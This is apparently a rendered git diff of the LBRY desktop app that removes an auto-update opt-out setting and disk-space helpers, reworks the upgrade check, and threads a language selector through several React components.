</fieldset-section>
|
||||
{/* Automatic Hosting Section */}
|
||||
{daemonSettings.save_blobs && ENABLE_AUTOMATIC_HOSTING && (
|
||||
<fieldset-section>
|
||||
<div className={'settings__row-section-title'}>{__('Automatic Hosting - Experimental')}</div>
|
||||
<p className={'help'}>
|
||||
{`Automatic Hosting using ${formatBytes(networkSpaceUsed * BYTES_PER_MB)} of ${formatBytes(
|
||||
daemonSettings[DAEMON_SETTINGS.NETWORK_STORAGE_LIMIT_MB] * BYTES_PER_MB
|
||||
)}`}
|
||||
</p>
|
||||
</fieldset-section>
|
||||
)}
|
||||
{daemonSettings.save_blobs && ENABLE_AUTOMATIC_HOSTING && (
|
||||
<>
|
||||
<FormField
|
||||
name="network_blob_limit_gb"
|
||||
type="text"
|
||||
label={__(`Allow (GB)`)}
|
||||
disabled={!daemonSettings.save_blobs}
|
||||
onChange={(e) => updateNetworkBlobLimitField(e.target.value)}
|
||||
value={networkBlobSpaceLimitGB}
|
||||
inputButton={
|
||||
<Button
|
||||
disabled={isNaN(networkBlobSpaceLimitGB)}
|
||||
button="primary"
|
||||
label={__('Apply')}
|
||||
onClick={handleSetNetworkBlobSpaceLimit}
|
||||
/>
|
||||
}
|
||||
/>
|
||||
<div className="form-field__help">{__('Download and serve arbitrary data on the network.')}</div>
|
||||
</>
|
||||
)}
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
export default SettingDataHosting;
|
||||
export default SettingWalletServer;
|
||||
@@ -1,17 +0,0 @@
|
||||
import SettingDisableAutoUpdates from './view';
|
||||
import * as SETTINGS from 'constants/settings';
|
||||
import { connect } from 'react-redux';
|
||||
import { makeSelectClientSetting } from 'redux/selectors/settings';
|
||||
import { doSetClientSetting } from 'redux/actions/settings';
|
||||
|
||||
const select = (state) => {
|
||||
return {
|
||||
disableAutoUpdates: makeSelectClientSetting(SETTINGS.DISABLE_AUTO_UPDATES)(state),
|
||||
};
|
||||
};
|
||||
|
||||
const perform = (dispatch) => ({
|
||||
setClientSetting: (value) => dispatch(doSetClientSetting(SETTINGS.DISABLE_AUTO_UPDATES, value)),
|
||||
});
|
||||
|
||||
export default connect(select, perform)(SettingDisableAutoUpdates);
|
||||
@@ -1,26 +0,0 @@
|
||||
// @flow
|
||||
import React from 'react';
|
||||
import { FormField } from 'component/common/form';
|
||||
|
||||
type Props = {
|
||||
setClientSetting: (boolean) => void,
|
||||
disableAutoUpdates: boolean,
|
||||
};
|
||||
function SettingDisableAutoUpdates(props: Props) {
|
||||
const { setClientSetting, disableAutoUpdates } = props;
|
||||
return (
|
||||
<React.Fragment>
|
||||
<FormField
|
||||
type="checkbox"
|
||||
name="autoupdates"
|
||||
onChange={() => {
|
||||
const newDisableAutoUpdates = !disableAutoUpdates;
|
||||
setClientSetting(newDisableAutoUpdates);
|
||||
}}
|
||||
checked={disableAutoUpdates}
|
||||
/>
|
||||
</React.Fragment>
|
||||
);
|
||||
}
|
||||
|
||||
export default SettingDisableAutoUpdates;
|
||||
@@ -10,7 +10,12 @@ import {
|
||||
} from 'redux/actions/app';
|
||||
import { doSetDaemonSetting, doClearDaemonSetting, doFindFFmpeg } from 'redux/actions/settings';
|
||||
import { selectAllowAnalytics } from 'redux/selectors/app';
|
||||
import { selectDaemonSettings, selectFfmpegStatus, selectFindingFFmpeg } from 'redux/selectors/settings';
|
||||
import {
|
||||
selectDaemonSettings,
|
||||
selectFfmpegStatus,
|
||||
selectFindingFFmpeg,
|
||||
selectLanguage,
|
||||
} from 'redux/selectors/settings';
|
||||
import { selectUserVerifiedEmail } from 'redux/selectors/user';
|
||||
|
||||
import SettingSystem from './view';
|
||||
@@ -22,6 +27,7 @@ const select = (state) => ({
|
||||
walletEncrypted: selectWalletIsEncrypted(state),
|
||||
isAuthenticated: selectUserVerifiedEmail(state),
|
||||
allowAnalytics: selectAllowAnalytics(state),
|
||||
language: selectLanguage(state),
|
||||
});
|
||||
|
||||
const perform = (dispatch) => ({
|
||||
|
||||
@@ -18,7 +18,6 @@ import Spinner from 'component/spinner';
|
||||
import { getPasswordFromCookie } from 'util/saved-passwords';
|
||||
import * as DAEMON_SETTINGS from 'constants/daemon_settings';
|
||||
import SettingEnablePrereleases from 'component/settingEnablePrereleases';
|
||||
import SettingDisableAutoUpdates from 'component/settingDisableAutoUpdates';
|
||||
|
||||
const IS_MAC = process.platform === 'darwin';
|
||||
|
||||
@@ -223,14 +222,6 @@ export default function SettingSystem(props: Props) {
|
||||
>
|
||||
<SettingEnablePrereleases />
|
||||
</SettingsRow>
|
||||
<SettingsRow
|
||||
title={__('Disable automatic updates')}
|
||||
subtitle={__(
|
||||
"Preven't new updates to be downloaded automatically in the background (we will keep notifying you if there is an update)"
|
||||
)}
|
||||
>
|
||||
<SettingDisableAutoUpdates />
|
||||
</SettingsRow>
|
||||
<SettingsRow
|
||||
title={
|
||||
<span>
|
||||
|
||||
@@ -1,12 +1,13 @@
|
||||
import { connect } from 'react-redux';
|
||||
import * as SETTINGS from 'constants/settings';
|
||||
import { doSetClientSetting } from 'redux/actions/settings';
|
||||
import { makeSelectClientSetting } from 'redux/selectors/settings';
|
||||
import { selectLanguage, makeSelectClientSetting } from 'redux/selectors/settings';
|
||||
|
||||
import SettingUnauthenticated from './view';
|
||||
|
||||
const select = (state) => ({
|
||||
searchInLanguage: makeSelectClientSetting(SETTINGS.SEARCH_IN_LANGUAGE)(state),
|
||||
language: selectLanguage(state),
|
||||
});
|
||||
|
||||
const perform = (dispatch) => ({
|
||||
|
||||
@@ -3,7 +3,7 @@ import { selectSubscriptions } from 'redux/selectors/subscriptions';
|
||||
import { doClearPurchasedUriSuccess } from 'redux/actions/file';
|
||||
import { selectFollowedTags } from 'redux/selectors/tags';
|
||||
import { selectUserVerifiedEmail, selectUser } from 'redux/selectors/user';
|
||||
import { selectHomepageData } from 'redux/selectors/settings';
|
||||
import { selectHomepageData, selectLanguage } from 'redux/selectors/settings';
|
||||
import { doSignOut } from 'redux/actions/app';
|
||||
import { selectUnseenNotificationCount } from 'redux/selectors/notifications';
|
||||
import { selectPurchaseUriSuccess } from 'redux/selectors/claims';
|
||||
@@ -13,6 +13,7 @@ import SideNavigation from './view';
|
||||
const select = (state) => ({
|
||||
subscriptions: selectSubscriptions(state),
|
||||
followedTags: selectFollowedTags(state),
|
||||
language: selectLanguage(state), // trigger redraw on language change
|
||||
email: selectUserVerifiedEmail(state),
|
||||
purchaseSuccess: selectPurchaseUriSuccess(state),
|
||||
unseenCount: selectUnseenNotificationCount(state),
|
||||
|
||||
@@ -8,7 +8,7 @@ import {
|
||||
selectHashChanged,
|
||||
} from 'redux/selectors/sync';
|
||||
import { doCheckSync, doGetSync } from 'redux/actions/sync';
|
||||
import { makeSelectClientSetting } from 'redux/selectors/settings';
|
||||
import { makeSelectClientSetting, selectLanguage } from 'redux/selectors/settings';
|
||||
import { doSetWalletSyncPreference } from 'redux/actions/settings';
|
||||
import SyncToggle from './view';
|
||||
import { doGetAndPopulatePreferences } from 'redux/actions/app';
|
||||
@@ -20,6 +20,7 @@ const select = (state) => ({
|
||||
verifiedEmail: selectUserVerifiedEmail(state),
|
||||
getSyncError: selectGetSyncErrorMessage(state),
|
||||
getSyncPending: selectGetSyncIsPending(state),
|
||||
language: selectLanguage(state),
|
||||
});
|
||||
|
||||
const perform = (dispatch) => ({
|
||||
|
||||
@@ -2,7 +2,7 @@ import * as SETTINGS from 'constants/settings';
|
||||
import { connect } from 'react-redux';
|
||||
import { selectUserVerifiedEmail } from 'redux/selectors/user';
|
||||
import { selectGetSyncErrorMessage } from 'redux/selectors/sync';
|
||||
import { makeSelectClientSetting } from 'redux/selectors/settings';
|
||||
import { makeSelectClientSetting, selectLanguage } from 'redux/selectors/settings';
|
||||
import { doSetWalletSyncPreference } from 'redux/actions/settings';
|
||||
import { doOpenModal } from 'redux/actions/app';
|
||||
import SyncToggle from './view';
|
||||
@@ -11,6 +11,7 @@ const select = (state) => ({
|
||||
syncEnabled: makeSelectClientSetting(SETTINGS.ENABLE_SYNC)(state),
|
||||
verifiedEmail: selectUserVerifiedEmail(state),
|
||||
getSyncError: selectGetSyncErrorMessage(state),
|
||||
language: selectLanguage(state),
|
||||
});
|
||||
|
||||
const perform = (dispatch) => ({
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import * as MODALS from 'constants/modal_types';
|
||||
import { connect } from 'react-redux';
|
||||
import { selectShowMatureContent } from 'redux/selectors/settings';
|
||||
import { selectLanguage, selectShowMatureContent } from 'redux/selectors/settings';
|
||||
import { doToast } from 'redux/actions/notifications';
|
||||
import { doOpenModal, doHideModal } from 'redux/actions/app';
|
||||
import { withRouter } from 'react-router';
|
||||
@@ -9,6 +9,7 @@ import analytics from 'analytics';
|
||||
import Wunderbar from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
language: selectLanguage(state),
|
||||
showMature: selectShowMatureContent(state),
|
||||
});
|
||||
|
||||
|
||||
@@ -32,7 +32,6 @@ export const TOGGLE_YOUTUBE_SYNC_INTEREST = 'TOGGLE_YOUTUBE_SYNC_INTEREST';
|
||||
export const TOGGLE_SPLASH_ANIMATION = 'TOGGLE_SPLASH_ANIMATION';
|
||||
export const SET_ACTIVE_CHANNEL = 'SET_ACTIVE_CHANNEL';
|
||||
export const SET_INCOGNITO = 'SET_INCOGNITO';
|
||||
export const DISK_SPACE = 'DISK_SPACE';
|
||||
|
||||
// Navigation
|
||||
export const CHANGE_AFTER_AUTH_PATH = 'CHANGE_AFTER_AUTH_PATH';
|
||||
|
||||
@@ -45,7 +45,6 @@ export const CUSTOM_COMMENTS_SERVERS = 'custom_comments_servers';
|
||||
export const CUSTOM_SHARE_URL_ENABLED = 'custom_share_url_enabled';
|
||||
export const CUSTOM_SHARE_URL = 'custom_share_url';
|
||||
export const ENABLE_PRERELEASE_UPDATES = 'enable_prerelease_updates';
|
||||
export const DISABLE_AUTO_UPDATES = 'disable_auto_updates';
|
||||
|
||||
export const SETTINGS_GRP = {
|
||||
APPEARANCE: 'appearance',
|
||||
|
||||
@@ -20,7 +20,6 @@ import {
|
||||
doHideModal,
|
||||
doToggle3PAnalytics,
|
||||
doUpdateDownloadProgress,
|
||||
doNotifyUpdateAvailable,
|
||||
} from 'redux/actions/app';
|
||||
import { isURIValid } from 'util/lbryURI';
|
||||
import { setSearchApi } from 'redux/actions/search';
|
||||
@@ -92,18 +91,6 @@ rewards.setCallback('claimRewardSuccess', (reward) => {
|
||||
}
|
||||
});
|
||||
|
||||
ipcRenderer.on('send-disk-space', (event, result) => {
|
||||
if (result.error) {
|
||||
console.log(`disk space error: ${result.error}`);
|
||||
} else {
|
||||
app.store.dispatch({
|
||||
type: ACTIONS.DISK_SPACE,
|
||||
data: result.diskSpace,
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
ipcRenderer.send('get-disk-space');
|
||||
// @if TARGET='app'
|
||||
ipcRenderer.on('open-uri-requested', (event, url, newSession) => {
|
||||
function handleError() {
|
||||
@@ -130,10 +117,6 @@ ipcRenderer.on('open-uri-requested', (event, url, newSession) => {
|
||||
handleError();
|
||||
});
|
||||
|
||||
autoUpdater.on('update-available', (e) => {
|
||||
app.store.dispatch(doNotifyUpdateAvailable(e));
|
||||
});
|
||||
|
||||
ipcRenderer.on('download-progress-update', (e, p) => {
|
||||
app.store.dispatch(doUpdateDownloadProgress(Math.round(p.percent * 100)));
|
||||
});
|
||||
|
||||
@@ -1,13 +1,10 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { selectRemoteVersion } from 'redux/selectors/app';
|
||||
import { doDownloadUpgrade, doSkipUpgrade, doHideModal } from 'redux/actions/app';
|
||||
import ModalUpgrade from './view';
|
||||
|
||||
const select = (state) => ({
|
||||
releaseVersion: selectRemoteVersion(state),
|
||||
});
|
||||
const select = () => ({});
|
||||
|
||||
const perform = (dispatch) => ({
|
||||
const perform = dispatch => ({
|
||||
downloadUpgrade: () => dispatch(doDownloadUpgrade()),
|
||||
skipUpgrade: () => {
|
||||
dispatch(doHideModal());
|
||||
@@ -15,4 +12,7 @@ const perform = (dispatch) => ({
|
||||
},
|
||||
});
|
||||
|
||||
export default connect(select, perform)(ModalUpgrade);
|
||||
export default connect(
|
||||
select,
|
||||
perform
|
||||
)(ModalUpgrade);
|
||||
@@ -8,12 +8,11 @@ const IS_MAC = navigator.userAgent.indexOf('Mac OS X') !== -1;
|
||||
type Props = {
|
||||
downloadUpgrade: () => void,
|
||||
skipUpgrade: () => void,
|
||||
releaseVersion: string,
|
||||
};
|
||||
|
||||
class ModalUpgrade extends React.PureComponent<Props> {
|
||||
render() {
|
||||
const { downloadUpgrade, skipUpgrade, releaseVersion } = this.props;
|
||||
const { downloadUpgrade, skipUpgrade } = this.props;
|
||||
|
||||
return (
|
||||
<Modal
|
||||
@@ -27,7 +26,10 @@ class ModalUpgrade extends React.PureComponent<Props> {
|
||||
onConfirmed={downloadUpgrade}
|
||||
onAborted={skipUpgrade}
|
||||
>
|
||||
{__('A new version %release_tag% of LBRY is ready for you.', { release_tag: releaseVersion })}
|
||||
<p>
|
||||
{__('An updated version of LBRY is now available.')}{' '}
|
||||
{__('Your version is out of date and may be unreliable or insecure.')}
|
||||
</p>
|
||||
<LastReleaseChanges hideReleaseVersion />
|
||||
</Modal>
|
||||
);
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { doEnterSettingsPage, doExitSettingsPage } from 'redux/actions/settings';
|
||||
import { selectDaemonSettings } from 'redux/selectors/settings';
|
||||
import { selectDaemonSettings, selectLanguage } from 'redux/selectors/settings';
|
||||
import { selectUserVerifiedEmail } from 'redux/selectors/user';
|
||||
|
||||
import SettingsPage from './view';
|
||||
@@ -8,6 +8,7 @@ import SettingsPage from './view';
|
||||
const select = (state) => ({
|
||||
daemonSettings: selectDaemonSettings(state),
|
||||
isAuthenticated: selectUserVerifiedEmail(state),
|
||||
language: selectLanguage(state),
|
||||
});
|
||||
|
||||
const perform = (dispatch) => ({
|
||||
|
||||
+31
-38
@@ -18,6 +18,7 @@ import { Lbryio } from 'lbryinc';
|
||||
import { selectFollowedTagsList } from 'redux/selectors/tags';
|
||||
import { doToast, doError, doNotificationList } from 'redux/actions/notifications';
|
||||
|
||||
import Native from 'native';
|
||||
import {
|
||||
doFetchDaemonSettings,
|
||||
doSetAutoLaunch,
|
||||
@@ -36,7 +37,7 @@ import {
|
||||
selectModal,
|
||||
selectAllowAnalytics,
|
||||
} from 'redux/selectors/app';
|
||||
import { selectDaemonSettings, makeSelectClientSetting, selectDisableAutoUpdates } from 'redux/selectors/settings';
|
||||
import { selectDaemonSettings, makeSelectClientSetting } from 'redux/selectors/settings';
|
||||
import { selectUser } from 'redux/selectors/user';
|
||||
import { doSyncLoop, doSetPrefsReady, doPreferenceGet, doPopulateSharedUserState } from 'redux/actions/sync';
|
||||
import { doAuthenticate } from 'redux/actions/user';
|
||||
@@ -182,50 +183,42 @@ export function doCheckUpgradeAvailable() {
|
||||
type: ACTIONS.CHECK_UPGRADE_START,
|
||||
});
|
||||
|
||||
const autoUpdateSupported = ['win32', 'darwin'].includes(process.platform) || !!process.env.APPIMAGE;
|
||||
if (['win32', 'darwin'].includes(process.platform) || !!process.env.APPIMAGE) {
|
||||
// On Windows, Mac, and AppImage, updates happen silently through
|
||||
// electron-updater.
|
||||
const autoUpdateDeclined = selectAutoUpdateDeclined(state);
|
||||
|
||||
const autoUpdateDeclined = selectAutoUpdateDeclined(state);
|
||||
|
||||
// If auto update isn't supported (Linux using .deb packages)
|
||||
// don't perform any download, just get the upgrade info
|
||||
// (release notes and version)
|
||||
const disableAutoUpdate = !autoUpdateSupported || selectDisableAutoUpdates(state);
|
||||
|
||||
if (autoUpdateDeclined || isDev) {
|
||||
if (!autoUpdateDeclined && !isDev) {
|
||||
ipcRenderer.send('check-for-updates');
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
ipcRenderer.send('check-for-updates', !disableAutoUpdate);
|
||||
};
|
||||
}
|
||||
const success = ({ remoteVersion, upgradeAvailable }) => {
|
||||
dispatch({
|
||||
type: ACTIONS.CHECK_UPGRADE_SUCCESS,
|
||||
data: {
|
||||
upgradeAvailable,
|
||||
remoteVersion,
|
||||
},
|
||||
});
|
||||
|
||||
export function doNotifyUpdateAvailable(e) {
|
||||
return (dispatch, getState) => {
|
||||
const remoteVersion = e.releaseName || e.version;
|
||||
if (
|
||||
upgradeAvailable &&
|
||||
!selectModal(state) &&
|
||||
(!selectIsUpgradeSkipped(state) || remoteVersion !== selectRemoteVersion(state))
|
||||
) {
|
||||
dispatch(doOpenModal(MODALS.UPGRADE));
|
||||
}
|
||||
};
|
||||
|
||||
const state = getState();
|
||||
const noModalBeingDisplayed = !selectModal(state);
|
||||
const isUpgradeSkipped = selectIsUpgradeSkipped(state);
|
||||
const isRemoteVersionDiff = remoteVersion !== selectRemoteVersion(state);
|
||||
const fail = () => {
|
||||
dispatch({
|
||||
type: ACTIONS.CHECK_UPGRADE_FAIL,
|
||||
});
|
||||
};
|
||||
|
||||
dispatch({
|
||||
type: ACTIONS.CHECK_UPGRADE_SUCCESS,
|
||||
data: {
|
||||
upgradeAvailable: true,
|
||||
remoteVersion,
|
||||
releaseNotes: e.releaseNotes,
|
||||
},
|
||||
});
|
||||
|
||||
const autoUpdateSupported = ['win32', 'darwin'].includes(process.platform) || !!process.env.APPIMAGE;
|
||||
|
||||
if (autoUpdateSupported) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (noModalBeingDisplayed && !isUpgradeSkipped && isRemoteVersionDiff) {
|
||||
dispatch(doOpenModal(MODALS.UPGRADE));
|
||||
}
|
||||
Native.getAppVersionInfo().then(success, fail);
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
@@ -132,10 +132,7 @@ export function doSetDaemonSetting(key, value, doNotDispatch = false) {
|
||||
|
||||
export function doCleanBlobs() {
|
||||
return (dispatch) => {
|
||||
Lbry.blob_clean().then(() => {
|
||||
dispatch(doFetchDaemonSettings());
|
||||
return 'done';
|
||||
});
|
||||
Lbry.blob_clean().then(dispatch(doFetchDaemonSettings()));
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
@@ -45,7 +45,6 @@ export type AppState = {
|
||||
interestedInYoutubeSync: boolean,
|
||||
activeChannel: ?string,
|
||||
incognito: boolean,
|
||||
diskSpace: ?DiskSpace,
|
||||
};
|
||||
|
||||
const defaultState: AppState = {
|
||||
@@ -84,7 +83,6 @@ const defaultState: AppState = {
|
||||
interestedInYoutubeSync: false,
|
||||
activeChannel: undefined,
|
||||
incognito: false,
|
||||
diskSpace: null,
|
||||
};
|
||||
|
||||
// @@router comes from react-router
|
||||
@@ -319,13 +317,6 @@ reducers[ACTIONS.SET_INCOGNITO] = (state, action) => {
|
||||
};
|
||||
};
|
||||
|
||||
reducers[ACTIONS.DISK_SPACE] = (state, action) => {
|
||||
return {
|
||||
...state,
|
||||
diskSpace: action.data,
|
||||
};
|
||||
};
|
||||
|
||||
reducers[ACTIONS.SYNC_STATE_POPULATE] = (state, action) => {
|
||||
const { welcomeVersion, allowAnalytics } = action.data;
|
||||
return {
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
import { createSelector } from 'reselect';
|
||||
import { selectClaimsById, selectMyChannelClaims, selectTotalStakedAmountForChannelUri } from 'redux/selectors/claims';
|
||||
import * as MODALS from 'constants/modal_types';
|
||||
|
||||
export const selectState = (state) => state.app || {};
|
||||
|
||||
@@ -52,10 +51,6 @@ export const selectAutoUpdateDownloaded = createSelector(selectState, (state) =>
|
||||
|
||||
export const selectAutoUpdateDeclined = createSelector(selectState, (state) => state.autoUpdateDeclined);
|
||||
|
||||
export const selectIsUpdateModalDisplayed = createSelector(selectState, (state) => {
|
||||
return [MODALS.AUTO_UPDATE_DOWNLOADED, MODALS.UPGRADE, MODALS.DOWNLOADING].includes(state.modal);
|
||||
});
|
||||
|
||||
export const selectDaemonVersionMatched = createSelector(selectState, (state) => state.daemonVersionMatched);
|
||||
|
||||
export const selectVolume = createSelector(selectState, (state) => state.volume);
|
||||
@@ -139,5 +134,3 @@ export const selectActiveChannelStakedLevel = createSelector(
|
||||
);
|
||||
|
||||
export const selectIncognito = createSelector(selectState, (state) => state.incognito);
|
||||
|
||||
export const selectDiskSpace = createSelector(selectState, (state) => state.diskSpace);
|
||||
@@ -83,5 +83,3 @@ export const selectHomepageData = createSelector(
|
||||
);
|
||||
|
||||
export const selectosNotificationsEnabled = makeSelectClientSetting(SETTINGS.OS_NOTIFICATIONS_ENABLED);
|
||||
|
||||
export const selectDisableAutoUpdates = makeSelectClientSetting(SETTINGS.DISABLE_AUTO_UPDATES);
|
||||
@@ -1,65 +0,0 @@
|
||||
const { exec } = require('child_process');
|
||||
|
||||
export const diskSpaceLinux = (path) => {
|
||||
return new Promise((resolve, reject) => {
|
||||
exec(`df ${path}`, (error, stdout, stderr) => {
|
||||
if (error) {
|
||||
return reject(error);
|
||||
}
|
||||
if (stderr) {
|
||||
return reject(new Error(stderr));
|
||||
}
|
||||
// Sample df command output:
|
||||
// Filesystem 1K-blocks Used Available Use% Mounted on
|
||||
// C:\ 185087700 120552556 64535144 66% /mnt/c
|
||||
const dfResult = stdout.split('\n')[1].split(/\s+/);
|
||||
resolve({
|
||||
total: dfResult[1],
|
||||
free: dfResult[3],
|
||||
});
|
||||
});
|
||||
});
|
||||
};
|
||||
|
||||
export const diskSpaceMac = (path) => {
|
||||
// Escape spaces in path to prevent errors.
|
||||
// Example:
|
||||
// "/Users/username/Library/Application Support/LBRY" gets updated to
|
||||
// "/Users/username/Library/Application\\ Support/LBRY"
|
||||
const escapedPath = path.replace(/(\s+)/g, '\\$1');
|
||||
return diskSpaceLinux(escapedPath);
|
||||
};
|
||||
|
||||
export const diskSpaceWindows = (path) => {
|
||||
return new Promise((resolve, reject) => {
|
||||
exec(`wmic logicaldisk get size,freespace,caption`, (error, stdout, stderr) => {
|
||||
if (error) {
|
||||
return reject(error);
|
||||
}
|
||||
if (stderr) {
|
||||
return reject(new Error(stderr));
|
||||
}
|
||||
|
||||
// Drive used in the path (ie, C:, D:, etc.)
|
||||
const pathDrive = path.split(':')[0] + ':';
|
||||
|
||||
// Sample outout:
|
||||
// Caption FreeSpace Size
|
||||
// C: 66218471424 189529804800
|
||||
// D:
|
||||
// E: 536829952 536854528
|
||||
const stdoutLines = stdout.split('\n');
|
||||
// Find the drive used in the path.
|
||||
const driveLine = stdoutLines.find((line) => line.startsWith(pathDrive));
|
||||
// Parse the values in each column by filtering out the
|
||||
// empty spaces.
|
||||
// eslint-disable-next-line no-unused-vars
|
||||
const [drive, freeSpace, totalSize] = driveLine.split(' ').filter((x) => x);
|
||||
|
||||
resolve({
|
||||
total: totalSize,
|
||||
free: freeSpace,
|
||||
});
|
||||
});
|
||||
});
|
||||
};
|
||||
@@ -3,8 +3,3 @@
|
||||
export function formatNumberWithCommas(num: number, numberOfDigits?: number): string {
|
||||
return num.toLocaleString('en', { minimumFractionDigits: numberOfDigits !== undefined ? numberOfDigits : 8 });
|
||||
}
|
||||
|
||||
export function isTrulyANumber(num: number) {
|
||||
// typeof NaN = 'number' but NaN !== NaN
|
||||
return typeof num === 'number' && num === num; // eslint-disable-line
|
||||
}
|
||||
Reference in new issue
Block a user